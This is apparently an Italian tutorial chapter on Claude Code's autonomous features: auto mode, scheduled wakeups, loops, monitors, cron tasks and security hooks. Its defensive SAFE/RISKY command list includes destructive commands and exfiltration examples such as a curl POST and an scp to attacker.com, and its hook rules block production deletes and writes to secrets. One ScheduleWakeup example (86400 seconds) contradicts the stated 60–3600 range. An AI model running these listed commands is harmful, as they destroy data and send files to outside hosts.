26 - Auto Mode, ScheduleWakeup, Monitor: Safe Autonomous Development

# Lettura file
Read(src/app/components/navbar.ts)         # SAFE
Read(docs/architecture.md)                 # SAFE

# Comandi di build standard
Bash(npm run test)                         # SAFE
Bash(npm run build)                        # SAFE
Bash(mvn clean package)                    # SAFE
Bash(python -m pytest)                     # SAFE

# Comandi git di sola lettura
Bash(git status)                           # SAFE
Bash(git diff HEAD)                        # SAFE
Bash(git log --oneline -10)                # SAFE

# Comandi git di commit
Bash(git add src/features/user-auth.ts)   # SAFE (file specifico)
Bash(git commit -m "feat: add auth")       # SAFE (messaggio chiaro)

# Scrittura di file non sensibili
Write(src/app/new-component.ts)            # SAFE (se path non è .env, .key, secrets/)
Write(tests/user.spec.ts)                  # SAFE (file di test)

# Comandi distruttivi
Bash(rm -rf src/)                          # RISKY - chiede conferma
Bash(git reset --hard HEAD~5)              # RISKY - revert lossy
Bash(git push --force)                     # RISKY - rewrite history

# Accesso a file sensibili
Write(.env.prod)                           # RISKY - contiene secrets
Write(~/.ssh/id_rsa)                       # RISKY - private key
Write(database_credentials.json)           # RISKY - confidential

# Operazioni di sistema privilegiate
Bash(sudo apt-get install *)               # RISKY - privileged
Bash(sudo rm -rf /etc/*)                   # RISKY - system critical
Bash(chmod 777 *)                          # RISKY - permission escalation

# Exfiltrazione potenziale
Bash(curl -X POST https://attacker.com)   # RISKY - data exfil
Bash(scp * user@attacker.com:/)           # RISKY - copy to external

# Modifiche massicce non verificate
Write(package.json)                        # RISKY - dependency tree change
Write(pom.xml)                             # RISKY - build config
Bash(npm install -g unknown-package)       # RISKY - supply chain

# Metodo 1: CLI flag (attuale per questa sessione)
claude --enable-auto-mode

# Metodo 2: Configurazione permanente (in ~/.claude/settings.json)
{
  "permissions": {
    "mode": "auto"
  }
}

# Metodo 3: IDE (VS Code extension)
# 1. Apri la palette (Cmd/Ctrl+Shift+P)
# 2. Digita "Claude: Permission Mode"
# 3. Seleziona "Auto Mode"

# Desktop app
# Settings → Permissions → Mode: Auto

ScheduleWakeup(
  delaySeconds: number,    # 60-3600 (1 min - 1 ora)
  reason: string,          # Descrizione breve (es. "monitor build")
  prompt: string           # Testo verbatim da eseguire al wakeup
)

// Esempio 1: Monitor build con cache warm
ScheduleWakeup(
  delaySeconds: 270,       # 4.5 min - dentro la finestra cache (5 min)
  reason: "Check build status and report",
  prompt: "Esegui npm run build. Se fallisce, riporta gli errori. Se succede, riporta tempo totale."
)

// Esempio 2: Polling fino a deploy completato
ScheduleWakeup(
  delaySeconds: 1800,      # 30 min - cache miss, usa crediti normali
  reason: "Check if EC2 instance is healthy",
  prompt: "Esegui curl https://api.example.com/health. Se status è 200, deploy ok. Altrimenti, riprova tra 30 min."
)

// Esempio 3: Analisi nightly
ScheduleWakeup(
  delaySeconds: 86400,     # 1 giorno
  reason: "Run security audit on codebase",
  prompt: "@src/ Esegui analisi di sicurezza: verifica secrets hardcoded, dipendenze vulnerabili, XSS."
)

# Iniziale (22:00 UTC)
> Voglio che alle 22:30 verifichi che il build di produzione sia completato.
> Se fallisce, crea un issue su GitHub con i log di errore.
> Se succede, invia un Slack message al team.

Claude esegue:
ScheduleWakeup(
  delaySeconds: 1800,  # 30 minuti
  reason: "Check prod build completion",
  prompt: "Esegui: curl -s https://ci.example.com/api/builds/latest
  Se status: 'success', invia message Slack al #deployments.
  Se status: 'failed', crea issue GitHub con stderr dai log."
)

# Output: "✓ Wakeup schedulato per 22:30 UTC. Ti notificherò il risultato."

# Alle 22:30, Claude Code si riattiva automaticamente, esegue il prompt,
# e mostra il risultato nella sessione / via notifica Telegram/Slack

/loop [--interval SEC] [--max-iterations N] [--until CONDITION]

# Esempio 1: Polling ogni 30 sec finché status = ready
/loop --interval 30 --max-iterations 10 --until "curl https://deploy.internal/status | grep ready"
Check if deployment is ready

# Esempio 2: Monitoraggio build ogni 60 sec (no until condition)
/loop --interval 60 --max-iterations 30
npm run build:watch. Report status ogni iteration.

# Esempio 3: Auto-interval (Claude decide il delay basato su task)
/loop
Monitora i test in esecuzione e riporta il coverage finale

# Output: "/loop task creato con ID #fs8a2x. Polling ogni 60 sec. Ferma con /loop-stop fs8a2x"

Monitor(
  command: string,                    # Comando da eseguire
  eventFilter: string,                # Regex o pattern per filtrare output
  onEvent: (event: string) => void   # Callback per ogni evento matchato
)

// Esempio 1: Monitor cambio file
Monitor(
  command: "npm run watch",
  eventFilter: "^\\[.+\\] compiled|error in",
  onEvent: (event) => {
    console.log("Compilation event:", event);
    if (event.includes("error")) sendAlert();
  }
)

// Esempio 2: Monitor container Docker
Monitor(
  command: "docker logs -f myapp",
  eventFilter: "ERROR|WARN|completed",
  onEvent: (event) => {
    if (event.startsWith("ERROR")) escalate();
  }
)

// Esempio 3: Monitor test coverage
Monitor(
  command: "npm run test:watch -- --coverage",
  eventFilter: "PASS|FAIL|statements coverage",
  onEvent: (event) => {
    updateDashboard(event);
  }
)

TaskCreate(
  title: string,                # Nome breve del task
  description: string,          # Descrizione dettagliata
  assignee?: string,            # Default: Claude Code stesso
  dependencies?: string[],      # ID di task da attendere
  priority?: "low" | "high",   # Default: high
  dueDate?: ISO8601             # Scadenza (opzionale)
)

// Esempio 1: Task sequenziale
task_a = TaskCreate(
  title: "Analizza codebase",
  description: "@src/ Esegui linting, type check, test coverage. Riporta vulnerabilità."
)
// task_a si esegue subito

task_b = TaskCreate(
  title: "Fix vulnerabilità",
  description: "Basato su task_a, correggi i problemi segnalati.",
  dependencies: [task_a.id],  // Attendi che task_a finisca
  priority: "high"
)

// Esempio 2: Task paralleli con merge finale
task_review = TaskCreate(
  title: "Code review",
  description: "Esamina src/features/auth.ts",
  priority: "high"
)

task_test = TaskCreate(
  title: "Test coverage",
  description: "Verifica copertura di tests/auth.spec.ts",
  priority: "high"
)

task_report = TaskCreate(
  title: "Genera report finale",
  description: "Sintetizza i risultati di review e test",
  dependencies: [task_review.id, task_test.id]  // Attendi entrambi
)

CronCreate(
  title: string,
  cronExpression: string,       # Standard cron: "0 2 * * 0" (domenica 2:00)
  prompt: string                # Task da eseguire
)

// Esempio 1: Analisi di sicurezza notturna
CronCreate(
  title: "Nightly security audit",
  cronExpression: "0 2 * * *",  # Ogni giorno alle 2:00 AM UTC
  prompt: "@src/ Esegui audit di sicurezza: secrets, dipendenze vulnerabili, XSS patterns. Invia report via Slack se trovati problemi."
)

// Esempio 2: Weekly code review
CronCreate(
  title: "Weekly team code review",
  cronExpression: "0 9 * * 1",  # Lunedì alle 9:00 AM UTC
  prompt: "Genera un report di code review della settimana: trend di quality, metriche di coverage, refactoring suggeriti."
)

// Esempio 3: Monthly cleanup
CronCreate(
  title: "Monthly codebase cleanup",
  cronExpression: "0 3 1 * *",  # 1° del mese alle 3:00 AM UTC
  prompt: "
  1. Identifica dead code (unused imports, unused functions)
  2. Rimuovi TODO comments vecchi (> 6 mesi)
  3. Aggiorna dipendenze (npm update)
  4. Rigenera lock file
  5. Crea PR con i cambiamenti
  "
)

// Esempio 4: Daily metrics gathering (ogni 6 ore)
CronCreate(
  title: "Gather CI/CD metrics",
  cronExpression: "0 */6 * * *",  # Ogni 6 ore
  prompt: "Raccogli metriche da CI: build success rate, avg compile time, test coverage trend. Aggiungi a Grafana dashboard."
)

{
  "hooks": {
    "preToolUse": [
      {
        "name": "block-production-deletes",
        "trigger": {
          "tool": "Bash",
          "pattern": "rm -rf /opt/production.*|git reset --hard|docker rm -f prod.*"
        },
        "action": "block",
        "message": "❌ Tentativo di eliminare dati di produzione. Operazione bloccata. Contatta DevOps."
      },
      {
        "name": "block-secrets-write",
        "trigger": {
          "tool": "Write",
          "pattern": "\\.env\\.prod|\\.key$|\\.pem$|credentials|secrets"
        },
        "action": "block",
        "message": "❌ Tentativo di scrivere file sensibili. Usa environment variables o secret manager."
      },
      {
        "name": "require-approval-sudo",
        "trigger": {
          "tool": "Bash",
          "pattern": "sudo"
        },
        "action": "ask",  // Chiedi conferma invece di bloccare
        "message": "⚠️  Questa operazione richiede privilegi. Confermi? (y/n)"
      },
      {
        "name": "log-database-queries",
        "trigger": {
          "tool": "Bash",
          "pattern": "psql|mysql|mongo"
        },
        "action": "log",  // Consenti ma registra nel log
        "message": "📝 Database query logging attivato per audit trail."
      }
    ]
  }
}

// .claude/hooks.ts
import { PreToolUseHook } from "@anthropic-ai/claude-code";

export const securityHooks: PreToolUseHook[] = [
  {
    name: "production-safety-check",
    async onBeforeToolUse(context) {
      const { tool, args } = context;

      // Blocca tool write su /opt/production
      if (tool.name === "Write" && args.path.startsWith("/opt/production")) {
        throw new Error(
          "❌ Protezione attiva: file di produzione. " +
          "Apporta modifiche su staging e usa CI/CD per il promote."
        );
      }

      // Avvisa se rm non è scoped (es. rm -rf / è CRITICO)
      if (tool.name === "Bash" && args.command.includes("rm -rf")) {
        const isScoped = /rm -rf [a-zA-Z0-9_\-/.]+[^/]$/.test(args.command);
        if (!isScoped) {
          const confirmed = await askUserConfirmation(
            "⚠️  Operazione rm ad alto rischio (non scoped). Molto pericoloso. Sei sicuro?"
          );
          if (!confirmed) throw new Error("Operazione cancellata dall'utente");
        }
      }
    }
  }
];

// Configurazione: ~/.claude/settings.json + .claude/hooks.json

CronCreate(
  title: "Nightly Code Analysis & Fixes",
  cronExpression: "0 2 * * *",  // Ogni notte alle 2:00 AM UTC
  prompt: `
  Esegui analisi completa della base di codice. Step sequenziali:

  1. [LINTING] npm run lint --fix. Riporta quali file sono stati formattati.

  2. [TYPE CHECK] npx tsc --noEmit. Se errori, esegui il fix se banale (type any → unknown).

  3. [TEST] npm run test -- --coverage. Riporta coverage trend e test falliti.

  4. [SECURITY] npm audit. Se vulnerabilità:
     - Se fixable: npm audit fix
     - Se non fixable: crea GitHub issue con link CVSS

  5. [DEPENDENCY UPDATE] npm outdated. Se update minore/patch:
     - Aggiorna
     - Rigenera lock file
     - Esegui test per verificare compatibilità

  6. [REFACTORING SUGGESTION]
     @src/ Identifica:
     - Dead code (unused imports, functions)
     - Code smells (function > 50 linee, cyclomatic complexity > 10)
     - Type issues (any, unknown, implicit any)
     Se trovati, suggerisci refactoring in commento PR

  7. [FINAL REPORT]
     Genera report strutturato con:
     - ✅ Check passati
     - ⚠️  Warning (code smell, outdated packages)
     - ❌ Errori critici

     Se tutti i check passano: invia Slack message al #dev-team
     Se errori: crea GitHub issue e @mention owner
  `
)

// Hook di sicurezza attivo:
// - Blocca git push --force
// - Richiede approvazione prima di npm install -g
// - Registra tutte le modifiche su audit log

// .claude/settings.json - toggle per directory
{
  "permissions": {
    "mode": "auto"  // Default global
  },
  "contextOverrides": [
    {
      "path": "infra/terraform/prod/**",
      "permissions": {
        "mode": "standard"  // Override: prod infra richiede approvazione
      }
    },
    {
      "path": "src/features/**",
      "permissions": {
        "mode": "auto"  // Standard: feature code con Auto Mode
      }
    }
  ]
}